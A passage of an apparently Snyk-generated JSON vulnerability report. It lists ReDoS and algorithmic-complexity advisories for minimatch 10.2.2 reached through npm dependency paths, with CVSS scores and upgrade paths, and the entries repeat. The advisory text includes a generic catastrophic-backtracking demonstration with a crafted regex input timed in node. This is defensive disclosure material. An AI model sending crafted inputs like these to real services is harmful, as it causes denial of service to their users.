<9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": 